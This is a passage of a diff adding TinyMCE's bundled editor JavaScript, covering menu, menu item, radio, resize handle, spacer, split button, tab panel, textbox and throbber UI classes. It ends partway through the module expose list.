+
+					if (menuValues[i].menu) {
+						setActiveValues(menuValues[i].menu);
+					}
+				}
+			}
+
+			if (typeof(value) != "undefined") {
+				if (self.menu) {
+					activateByValue(self.menu, value);
+				} else {
+					menu = self.settings.menu;
+					setActiveValues(menu);
+				}
+
+				self.text(selectedText || this.settings.text);
+			}
+
+			return self._super(value);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/MenuItem.js
+
+/**
+ * MenuItem.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new menu item.
+ *
+ * @-x-less MenuItem.less
+ * @class tinymce.ui.MenuItem
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/MenuItem", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/Factory",
+	"tinymce/Env"
+], function(Widget, Factory, Env) {
+	"use strict";
+
+	return Widget.extend({
+		Defaults: {
+			border: 0,
+			role: 'menuitem'
+		},
+
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Boolean} selectable Selectable menu.
+		 * @setting {Array} menu Submenu array with items.
+		 * @setting {String} shortcut Shortcut to display for menu item. Example: Ctrl+X
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self.hasPopup = true;
+
+			self._super(settings);
+
+			settings = self.settings;
+
+			self.addClass('menu-item');
+
+			if (settings.menu) {
+				self.addClass('menu-item-expand');
+			}
+
+			if (settings.preview) {
+				self.addClass('menu-item-preview');
+			}
+
+			if (self._text === '-' || self._text === '|') {
+				self.addClass('menu-item-sep');
+				self.aria('role', 'separator');
+				self._text = '-';
+			}
+
+			if (settings.selectable) {
+				self.aria('role', 'menuitemcheckbox');
+				self.addClass('menu-item-checkbox');
+				settings.icon = 'selected';
+			}
+
+			if (!settings.preview && !settings.selectable) {
+				self.addClass('menu-item-normal');
+			}
+
+			self.on('mousedown', function(e) {
+				e.preventDefault();
+			});
+
+			if (settings.menu && !settings.ariaHideMenu) {
+				self.aria('haspopup', true);
+			}
+		},
+
+		/**
+		 * Returns true/false if the menuitem has sub menu.
+		 *
+		 * @method hasMenus
+		 * @return {Boolean} True/false state if it has submenu.
+		 */
+		hasMenus: function() {
+			return !!this.settings.menu;
+		},
+
+		/**
+		 * Shows the menu for the menu item.
+		 *
+		 * @method showMenu
+		 */
+		showMenu: function() {
+			var self = this, settings = self.settings, menu, parent = self.parent();
+
+			parent.items().each(function(ctrl) {
+				if (ctrl !== self) {
+					ctrl.hideMenu();
+				}
+			});
+
+			if (settings.menu) {
+				menu = self.menu;
+
+				if (!menu) {
+					menu = settings.menu;
+
+					// Is menu array then auto constuct menu control
+					if (menu.length) {
+						menu = {
+							type: 'menu',
+							items: menu
+						};
+					} else {
+						menu.type = menu.type || 'menu';
+					}
+
+					if (parent.settings.itemDefaults) {
+						menu.itemDefaults = parent.settings.itemDefaults;
+					}
+
+					menu = self.menu = Factory.create(menu).parent(self).renderTo();
+					menu.reflow();
+					menu.on('cancel', function(e) {
+						e.stopPropagation();
+						self.focus();
+						menu.hide();
+					});
+					menu.on('show hide', function(e) {
+						e.control.items().each(function(ctrl) {
+							ctrl.active(ctrl.settings.selected);
+						});
+					}).fire('show');
+
+					menu.on('hide', function(e) {
+						if (e.control === menu) {
+							self.removeClass('selected');
+						}
+					});
+
+					menu.submenu = true;
+				} else {
+					menu.show();
+				}
+
+				menu._parentMenu = parent;
+
+				menu.addClass('menu-sub');
+
+				var rel = menu.testMoveRel(
+					self.getEl(),
+					self.isRtl() ? ['tl-tr', 'bl-br', 'tr-tl', 'br-bl'] : ['tr-tl', 'br-bl', 'tl-tr', 'bl-br']
+				);
+
+				menu.moveRel(self.getEl(), rel);
+				menu.rel = rel;
+
+				rel = 'menu-sub-' + rel;
+				menu.removeClass(menu._lastRel);
+				menu.addClass(rel);
+				menu._lastRel = rel;
+
+				self.addClass('selected');
+				self.aria('expanded', true);
+			}
+		},
+
+		/**
+		 * Hides the menu for the menu item.
+		 *
+		 * @method hideMenu
+		 */
+		hideMenu: function() {
+			var self = this;
+
+			if (self.menu) {
+				self.menu.items().each(function(item) {
+					if (item.hideMenu) {
+						item.hideMenu();
+					}
+				});
+
+				self.menu.hide();
+				self.aria('expanded', false);
+			}
+
+			return self;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, settings = self.settings, prefix = self.classPrefix, text = self.encode(self._text);
+			var icon = self.settings.icon, image = '', shortcut = settings.shortcut;
+
+			if (icon) {
+				self.parent().addClass('menu-has-icons');
+			}
+
+			if (settings.image) {
+				icon = 'none';
+				image = ' style="background-image: url(\'' + settings.image + '\')"';
+			}
+
+			if (shortcut && Env.mac) {
+				// format shortcut for Mac
+				shortcut = shortcut.replace(/ctrl\+alt\+/i, '&#x2325;&#x2318;'); // ctrl+cmd
+				shortcut = shortcut.replace(/ctrl\+/i, '&#x2318;'); // ctrl symbol
+				shortcut = shortcut.replace(/alt\+/i, '&#x2325;'); // cmd symbol
+				shortcut = shortcut.replace(/shift\+/i, '&#x21E7;'); // shift symbol
+			}
+
+			icon = prefix + 'ico ' + prefix + 'i-' + (self.settings.icon || 'none');
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" tabindex="-1">' +
+					(text !== '-' ? '<i class="' + icon + '"' + image + '></i>\u00a0' : '') +
+					(text !== '-' ? '<span id="' + id + '-text" class="' + prefix + 'text">' + text + '</span>' : '') +
+					(shortcut ? '<div id="' + id + '-shortcut" class="' + prefix + 'menu-shortcut">' + shortcut + '</div>' : '') +
+					(settings.menu ? '<div class="' + prefix + 'caret"></div>' : '') +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Gets invoked after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this, settings = self.settings;
+
+			var textStyle = settings.textStyle;
+			if (typeof(textStyle) == "function") {
+				textStyle = textStyle.call(this);
+			}
+
+			if (textStyle) {
+				var textElm = self.getEl('text');
+				if (textElm) {
+					textElm.setAttribute('style', textStyle);
+				}
+			}
+
+			self.on('mouseenter click', function(e) {
+				if (e.control === self) {
+					if (!settings.menu && e.type === 'click') {
+						self.fire('select');
+						self.parent().hideAll();
+					} else {
+						self.showMenu();
+
+						if (e.aria) {
+							self.menu.focus(true);
+						}
+					}
+				}
+			});
+
+			self._super();
+
+			return self;
+		},
+
+		active: function(state) {
+			if (typeof(state) != "undefined") {
+				this.aria('checked', state);
+			}
+
+			return this._super(state);
+		},
+
+		/**
+		 * Removes the control and it's menus.
+		 *
+		 * @method remove
+		 */
+		remove: function() {
+			this._super();
+
+			if (this.menu) {
+				this.menu.remove();
+			}
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Menu.js
+
+/**
+ * Menu.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new menu.
+ *
+ * @-x-less Menu.less
+ * @class tinymce.ui.Menu
+ * @extends tinymce.ui.FloatPanel
+ */
+define("tinymce/ui/Menu", [
+	"tinymce/ui/FloatPanel",
+	"tinymce/ui/MenuItem",
+	"tinymce/util/Tools"
+], function(FloatPanel, MenuItem, Tools) {
+	"use strict";
+
+	var Menu = FloatPanel.extend({
+		Defaults: {
+			defaultType: 'menuitem',
+			border: 1,
+			layout: 'stack',
+			role: 'application',
+			bodyRole: 'menu',
+			ariaRoot: true
+		},
+
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			settings.autohide = true;
+			settings.constrainToViewport = true;
+
+			if (settings.itemDefaults) {
+				var items = settings.items, i = items.length;
+
+				while (i--) {
+					items[i] = Tools.extend({}, settings.itemDefaults, items[i]);
+				}
+			}
+
+			self._super(settings);
+			self.addClass('menu');
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			this.toggleClass('menu-align', true);
+
+			this._super();
+
+			this.getEl().style.height = '';
+			this.getEl('body').style.height = '';
+
+			return this;
+		},
+
+		/**
+		 * Hides/closes the menu.
+		 *
+		 * @method cancel
+		 */
+		cancel: function() {
+			var self = this;
+
+			self.hideAll();
+			self.fire('select');
+		},
+
+		/**
+		 * Hide menu and all sub menus.
+		 *
+		 * @method hideAll
+		 */
+		hideAll: function() {
+			var self = this;
+
+			this.find('menuitem').exec('hideMenu');
+
+			return self._super();
+		},
+/*
+		getContainerElm: function() {
+			var doc = document, id = this.classPrefix + 'menucontainer';
+
+			var elm = doc.getElementById(id);
+			if (!elm) {
+				elm = doc.createElement('div');
+				elm.id = id;
+				elm.setAttribute('role', 'application');
+				elm.className = this.classPrefix + '-reset';
+				elm.style.position = 'absolute';
+				elm.style.top = elm.style.left = '0';
+				elm.style.overflow = 'visible';
+				doc.body.appendChild(elm);
+			}
+
+			return elm;
+		},
+*/
+		/**
+		 * Invoked before the menu is rendered.
+		 *
+		 * @method preRender
+		 */
+		preRender: function() {
+			var self = this;
+
+			self.items().each(function(ctrl) {
+				var settings = ctrl.settings;
+
+				if (settings.icon || settings.selectable) {
+					self._hasIcons = true;
+					return false;
+				}
+			});
+
+			return self._super();
+		}
+	});
+
+	return Menu;
+});
+
+// Included from: js/tinymce/classes/ui/Radio.js
+
+/**
+ * Radio.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new radio button.
+ *
+ * @-x-less Radio.less
+ * @class tinymce.ui.Radio
+ * @extends tinymce.ui.Checkbox
+ */
+define("tinymce/ui/Radio", [
+	"tinymce/ui/Checkbox"
+], function(Checkbox) {
+	"use strict";
+
+	return Checkbox.extend({
+		Defaults: {
+			classes: "radio",
+			role: "radio"
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/ResizeHandle.js
+
+/**
+ * ResizeHandle.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Renders a resize handle that fires ResizeStart, Resize and ResizeEnd events.
+ *
+ * @-x-less ResizeHandle.less
+ * @class tinymce.ui.ResizeHandle
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/ResizeHandle", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/DragHelper"
+], function(Widget, DragHelper) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, prefix = self.classPrefix;
+
+			self.addClass('resizehandle');
+
+			if (self.settings.direction == "both") {
+				self.addClass('resizehandle-both');
+			}
+
+			self.canFocus = false;
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '">' +
+					'<i class="' + prefix + 'ico ' + prefix + 'i-resize"></i>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self._super();
+
+			self.resizeDragHelper = new DragHelper(this._id, {
+				start: function() {
+					self.fire('ResizeStart');
+				},
+
+				drag: function(e) {
+					if (self.settings.direction != "both") {
+						e.deltaX = 0;
+					}
+
+					self.fire('Resize', e);
+				},
+
+				stop: function() {
+					self.fire('ResizeEnd');
+				}
+			});
+		},
+
+		remove: function() {
+			if (this.resizeDragHelper) {
+				this.resizeDragHelper.destroy();
+			}
+
+			return this._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Spacer.js
+
+/**
+ * Spacer.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a spacer. This control is used in flex layouts for example.
+ *
+ * @-x-less Spacer.less
+ * @class tinymce.ui.Spacer
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Spacer", [
+	"tinymce/ui/Widget"
+], function(Widget) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this;
+
+			self.addClass('spacer');
+			self.canFocus = false;
+
+			return '<div id="' + self._id + '" class="' + self.classes() + '"></div>';
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/SplitButton.js
+
+/**
+ * SplitButton.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a split button.
+ *
+ * @-x-less SplitButton.less
+ * @class tinymce.ui.SplitButton
+ * @extends tinymce.ui.MenuButton
+ */
+define("tinymce/ui/SplitButton", [
+	"tinymce/ui/MenuButton",
+	"tinymce/ui/DomUtils"
+], function(MenuButton, DomUtils) {
+	return MenuButton.extend({
+		Defaults: {
+			classes: "widget btn splitbtn",
+			role: "button"
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this, elm = self.getEl(), rect = self.layoutRect(), mainButtonElm, menuButtonElm;
+
+			self._super();
+
+			mainButtonElm = elm.firstChild;
+			menuButtonElm = elm.lastChild;
+
+			DomUtils.css(mainButtonElm, {
+				width: rect.w - DomUtils.getSize(menuButtonElm).width,
+				height: rect.h - 2
+			});
+
+			DomUtils.css(menuButtonElm, {
+				height: rect.h - 2
+			});
+
+			return self;
+		},
+
+		/**
+		 * Sets the active menu state.
+		 *
+		 * @private
+		 */
+		activeMenu: function(state) {
+			var self = this;
+
+			DomUtils.toggleClass(self.getEl().lastChild, self.classPrefix + 'active', state);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix, image;
+			var icon = self.settings.icon;
+
+			image = self.settings.image;
+			if (image) {
+				icon = 'none';
+
+				// Support for [high dpi, low dpi] image sources
+				if (typeof image != "string") {
+					image = window.getSelection ? image[0] : image[1];
+				}
+
+				image = ' style="background-image: url(\'' + image + '\')"';
+			} else {
+				image = '';
+			}
+
+			icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" role="button" tabindex="-1">' +
+					'<button type="button" hidefocus="1" tabindex="-1">' +
+						(icon ? '<i class="' + icon + '"' + image + '></i>' : '') +
+						(self._text ? (icon ? ' ' : '') + self._text : '') +
+					'</button>' +
+					'<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' +
+						//(icon ? '<i class="' + icon + '"></i>' : '') +
+						(self._menuBtnText ? (icon ? '\u00a0' : '') + self._menuBtnText : '') +
+						' <i class="' + prefix + 'caret"></i>' +
+					'</button>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this, onClickHandler = self.settings.onclick;
+
+			self.on('click', function(e) {
+				var node = e.target;
+
+				if (e.control == this) {
+					// Find clicks that is on the main button
+					while (node) {
+						if ((e.aria && e.aria.key != 'down') || (node.nodeName == 'BUTTON' && node.className.indexOf('open') == -1)) {
+							e.stopImmediatePropagation();
+							onClickHandler.call(this, e);
+							return;
+						}
+
+						node = node.parentNode;
+					}
+				}
+			});
+
+			delete self.settings.onclick;
+
+			return self._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/StackLayout.js
+
+/**
+ * StackLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This layout uses the browsers layout when the items are blocks.
+ *
+ * @-x-less StackLayout.less
+ * @class tinymce.ui.StackLayout
+ * @extends tinymce.ui.FlowLayout
+ */
+define("tinymce/ui/StackLayout", [
+	"tinymce/ui/FlowLayout"
+], function(FlowLayout) {
+	"use strict";
+
+	return FlowLayout.extend({
+		Defaults: {
+			containerClass: 'stack-layout',
+			controlClass: 'stack-layout-item',
+			endClass : 'break'
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/TabPanel.js
+
+/**
+ * TabPanel.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a tab panel control.
+ *
+ * @-x-less TabPanel.less
+ * @class tinymce.ui.TabPanel
+ * @extends tinymce.ui.Panel
+ *
+ * @setting {Number} activeTab Active tab index.
+ */
+define("tinymce/ui/TabPanel", [
+	"tinymce/ui/Panel",
+	"tinymce/ui/DomUtils"
+], function(Panel, DomUtils) {
+	"use strict";
+
+	return Panel.extend({
+		Defaults: {
+			layout: 'absolute',
+			defaults: {
+				type: 'panel'
+			}
+		},
+
+		/**
+		 * Activates the specified tab by index.
+		 *
+		 * @method activateTab
+		 * @param {Number} idx Index of the tab to activate.
+		 */
+		activateTab: function(idx) {
+			var activeTabElm;
+
+			if (this.activeTabId) {
+				activeTabElm = this.getEl(this.activeTabId);
+				DomUtils.removeClass(activeTabElm, this.classPrefix + 'active');
+				activeTabElm.setAttribute('aria-selected', "false");
+			}
+
+			this.activeTabId = 't' + idx;
+
+			activeTabElm = this.getEl('t' + idx);
+			activeTabElm.setAttribute('aria-selected', "true");
+			DomUtils.addClass(activeTabElm, this.classPrefix + 'active');
+
+			this.items()[idx].show().fire('showtab');
+			this.reflow();
+
+			this.items().each(function(item, i) {
+				if (idx != i) {
+					item.hide();
+				}
+			});
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, layout = self._layout, tabsHtml = '', prefix = self.classPrefix;
+
+			self.preRender();
+			layout.preRender(self);
+
+			self.items().each(function(ctrl, i) {
+				var id = self._id + '-t' + i;
+
+				ctrl.aria('role', 'tabpanel');
+				ctrl.aria('labelledby', id);
+
+				tabsHtml += (
+					'<div id="' + id + '" class="' + prefix + 'tab" ' +
+						'unselectable="on" role="tab" aria-controls="' + ctrl._id + '" aria-selected="false" tabIndex="-1">' +
+						self.encode(ctrl.settings.title) +
+					'</div>'
+				);
+			});
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '" hidefocus="1" tabindex="-1">' +
+					'<div id="' + self._id + '-head" class="' + prefix + 'tabs" role="tablist">' +
+						tabsHtml +
+					'</div>' +
+					'<div id="' + self._id + '-body" class="' + self.classes('body') + '">' +
+						layout.renderHtml(self) +
+					'</div>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self._super();
+
+			self.settings.activeTab = self.settings.activeTab || 0;
+			self.activateTab(self.settings.activeTab);
+
+			this.on('click', function(e) {
+				var targetParent = e.target.parentNode;
+
+				if (e.target.parentNode.id == self._id + '-head') {
+					var i = targetParent.childNodes.length;
+
+					while (i--) {
+						if (targetParent.childNodes[i] == e.target) {
+							self.activateTab(i);
+						}
+					}
+				}
+			});
+		},
+
+		/**
+		 * Initializes the current controls layout rect.
+		 * This will be executed by the layout managers to determine the
+		 * default minWidth/minHeight etc.
+		 *
+		 * @method initLayoutRect
+		 * @return {Object} Layout rect instance.
+		 */
+		initLayoutRect: function() {
+			var self = this, rect, minW, minH;
+
+			minW = DomUtils.getSize(self.getEl('head')).width;
+			minW = minW < 0 ? 0 : minW;
+			minH = 0;
+
+			self.items().each(function(item) {
+				minW = Math.max(minW, item.layoutRect().minW);
+				minH = Math.max(minH, item.layoutRect().minH);
+			});
+
+			self.items().each(function(ctrl) {
+				ctrl.settings.x = 0;
+				ctrl.settings.y = 0;
+				ctrl.settings.w = minW;
+				ctrl.settings.h = minH;
+
+				ctrl.layoutRect({
+					x: 0,
+					y: 0,
+					w: minW,
+					h: minH
+				});
+			});
+
+			var headH = DomUtils.getSize(self.getEl('head')).height;
+
+			self.settings.minWidth = minW;
+			self.settings.minHeight = minH + headH;
+
+			rect = self._super();
+			rect.deltaH += headH;
+			rect.innerH = rect.h - rect.deltaH;
+
+			return rect;
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/TextBox.js
+
+/**
+ * TextBox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new textbox.
+ *
+ * @-x-less TextBox.less
+ * @class tinymce.ui.TextBox
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/TextBox", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/DomUtils"
+], function(Widget, DomUtils) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Boolean} multiline True if the textbox is a multiline control.
+		 * @setting {Number} maxLength Max length for the textbox.
+		 * @setting {Number} size Size of the textbox in characters.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+
+			self._value = settings.value || '';
+			self.addClass('textbox');
+
+			if (settings.multiline) {
+				self.addClass('multiline');
+			} else {
+				// TODO: Rework this
+				self.on('keydown', function(e) {
+					if (e.keyCode == 13) {
+						self.parents().reverse().each(function(ctrl) {
+							e.preventDefault();
+
+							if (ctrl.hasEventListeners('submit') && ctrl.toJSON) {
+								ctrl.fire('submit', {data: ctrl.toJSON()});
+								return false;
+							}
+						});
+					}
+				});
+			}
+		},
+
+		/**
+		 * Getter/setter function for the disabled state.
+		 *
+		 * @method value
+		 * @param {Boolean} [state] State to be set.
+		 * @return {Boolean|tinymce.ui.ComboBox} True/false or self if it's a set operation.
+		 */
+		disabled: function(state) {
+			var self = this;
+
+			if (self._rendered && typeof(state) != 'undefined') {
+				self.getEl().disabled = state;
+			}
+
+			return self._super(state);
+		},
+
+		/**
+		 * Getter/setter function for the control value.
+		 *
+		 * @method value
+		 * @param {String} [value] Value to be set.
+		 * @return {String|tinymce.ui.ComboBox} Value or self if it's a set operation.
+		 */
+		value: function(value) {
+			var self = this;
+
+			if (typeof(value) != "undefined") {
+				self._value = value;
+
+				if (self._rendered) {
+					self.getEl().value = value;
+				}
+
+				return self;
+			}
+
+			if (self._rendered) {
+				return self.getEl().value;
+			}
+
+			return self._value;
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this, style, rect, borderBox, borderW = 0, borderH = 0, lastRepaintRect;
+
+			style = self.getEl().style;
+			rect = self._layoutRect;
+			lastRepaintRect = self._lastRepaintRect || {};
+
+			// Detect old IE 7+8 add lineHeight to align caret vertically in the middle
+			var doc = document;
+			if (!self.settings.multiline && doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+				style.lineHeight = (rect.h - borderH) + 'px';
+			}
+
+			borderBox = self._borderBox;
+			borderW = borderBox.left + borderBox.right + 8;
+			borderH = borderBox.top + borderBox.bottom + (self.settings.multiline ? 8 : 0);
+
+			if (rect.x !== lastRepaintRect.x) {
+				style.left = rect.x + 'px';
+				lastRepaintRect.x = rect.x;
+			}
+
+			if (rect.y !== lastRepaintRect.y) {
+				style.top = rect.y + 'px';
+				lastRepaintRect.y = rect.y;
+			}
+
+			if (rect.w !== lastRepaintRect.w) {
+				style.width = (rect.w - borderW) + 'px';
+				lastRepaintRect.w = rect.w;
+			}
+
+			if (rect.h !== lastRepaintRect.h) {
+				style.height = (rect.h - borderH) + 'px';
+				lastRepaintRect.h = rect.h;
+			}
+
+			self._lastRepaintRect = lastRepaintRect;
+			self.fire('repaint', {}, false);
+
+			return self;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, settings = self.settings, value = self.encode(self._value, false), extraAttrs = '';
+
+			if ("spellcheck" in settings) {
+				extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
+			}
+
+			if (settings.maxLength) {
+				extraAttrs += ' maxlength="' + settings.maxLength + '"';
+			}
+
+			if (settings.size) {
+				extraAttrs += ' size="' + settings.size + '"';
+			}
+
+			if (settings.subtype) {
+				extraAttrs += ' type="' + settings.subtype + '"';
+			}
+
+			if (self.disabled()) {
+				extraAttrs += ' disabled="disabled"';
+			}
+
+			if (settings.multiline) {
+				return (
+					'<textarea id="' + id + '" class="' + self.classes() + '" ' +
+					(settings.rows ? ' rows="' + settings.rows + '"' : '') +
+					' hidefocus="1"' + extraAttrs + '>' + value +
+					'</textarea>'
+				);
+			}
+
+			return '<input id="' + id + '" class="' + self.classes() + '" value="' + value + '" hidefocus="1"' + extraAttrs + ' />';
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			DomUtils.on(self.getEl(), 'change', function(e) {
+				self.fire('change', e);
+			});
+
+			return self._super();
+		},
+
+		remove: function() {
+			DomUtils.off(this.getEl());
+			this._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Throbber.js
+
+/**
+ * Throbber.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class enables you to display a Throbber for any element.
+ *
+ * @-x-less Throbber.less
+ * @class tinymce.ui.Throbber
+ */
+define("tinymce/ui/Throbber", [
+	"tinymce/ui/DomUtils",
+	"tinymce/ui/Control"
+], function(DomUtils, Control) {
+	"use strict";
+
+	/**
+	 * Constructs a new throbber.
+	 *
+	 * @constructor
+	 * @param {Element} elm DOM Html element to display throbber in.
+	 * @param {Boolean} inline Optional true/false state if the throbber should be appended to end of element for infinite scroll.
+	 */
+	return function(elm, inline) {
+		var self = this, state, classPrefix = Control.classPrefix;
+
+		/**
+		 * Shows the throbber.
+		 *
+		 * @method show
+		 * @param {Number} [time] Time to wait before showing.
+		 * @return {tinymce.ui.Throbber} Current throbber instance.
+		 */
+		self.show = function(time) {
+			self.hide();
+
+			state = true;
+
+			window.setTimeout(function() {
+				if (state) {
+					elm.appendChild(DomUtils.createFragment(
+						'<div class="' + classPrefix + 'throbber' + (inline ? ' ' + classPrefix + 'throbber-inline' : '') + '"></div>'
+					));
+				}
+			}, time || 0);
+
+			return self;
+		};
+
+		/**
+		 * Hides the throbber.
+		 *
+		 * @method hide
+		 * @return {tinymce.ui.Throbber} Current throbber instance.
+		 */
+		self.hide = function() {
+			var child = elm.lastChild;
+
+			if (child && child.className.indexOf('throbber') != -1) {
+				child.parentNode.removeChild(child);
+			}
+
+			state = false;
+
+			return self;
+		};
+	};
+});
+
+expose(["tinymce/dom/EventUtils","tinymce/dom/Sizzle","tinymce/Env","tinymce/util/Tools","tinymce/dom/DomQuery","tinymce/html/Styles","tinymce/dom/TreeWalker","tinymce/dom/Range","tinymce/html/Entities","tinymce/dom/DOMUtils","tinymce/dom/ScriptLoader","tinymce/AddOnManager","tinymce/html/Node","tinymce/html/Schema","tinymce/html/SaxParser","tinymce/html/DomParser","tinymce/html/Writer","tinymce/html/Serializer","tinymce/dom/Serializer","tinymce/dom/TridentSelection","tinymce/util/VK","tinymce/dom/ControlSelection","tinymce/dom/BookmarkManager","tinymce/dom/Selection","tinymce/dom/ElementUtils","tinymce/Formatter","tinymce/UndoManager","tinymce/EnterKey","tinymce/ForceBlocks","tinymce/EditorCommands","tinymce/util/URI","tinymce/util/Class","tinymce/util/EventDispatcher","tinymce/ui/Selector","tinymce/ui/Collection","tinymce/ui/DomUtils","tinymce/ui/Control","tinymce/ui/Factory","tinymce/ui/KeyboardNavigation","tinymce/ui/Container","tinymce/ui/DragHelper","tinymce/ui/Scrollable","tinymce/ui/Panel","tinymce/ui/Movable","tinymce/ui/Resizable","tinymce/ui/FloatPanel","tinymce/ui/Window","tinymce/ui/MessageBox","tinymce/WindowManager","tinymce/util/Quirks","tinymce/util/Observable","tinymce/EditorObservable","tinymce/Shortcuts","tinymce/Editor","tinymce/util/I18n","tinymce/FocusManager","tinymce/EditorManager","tinymce/LegacyInput","tinymce/util/XHR","tinymce/util/JSON","tinymce/util/JSONRequest","tinymce/util/JSONP","tinymce/util/LocalStorage","tinymce/Compat","tinymce/ui/Layout","tinymce/ui/AbsoluteLayout","tinymce/ui/Tooltip","tinymce/ui/Widget","tinymce/ui/Button","tinymce/ui/ButtonGroup","tinymce/ui/Checkbox","tinymce/ui/ComboBox","tinymce/ui/ColorBox","tinymce/ui/PanelButton","tinymce/ui/ColorButton","tinymce/util/Color","tinymce/ui/ColorPicker","tinymce/ui/Path","tinymce/ui/ElementPath","tinymce/ui/FormItem","tinymce/ui/Form","tinymce/ui/FieldSet","tinymce/ui/FilePicker","tinymce/ui/FitLayout","tinymce/ui/FlexLayout","tinymce/ui/FlowLayout","tinymce/ui/FormatControls"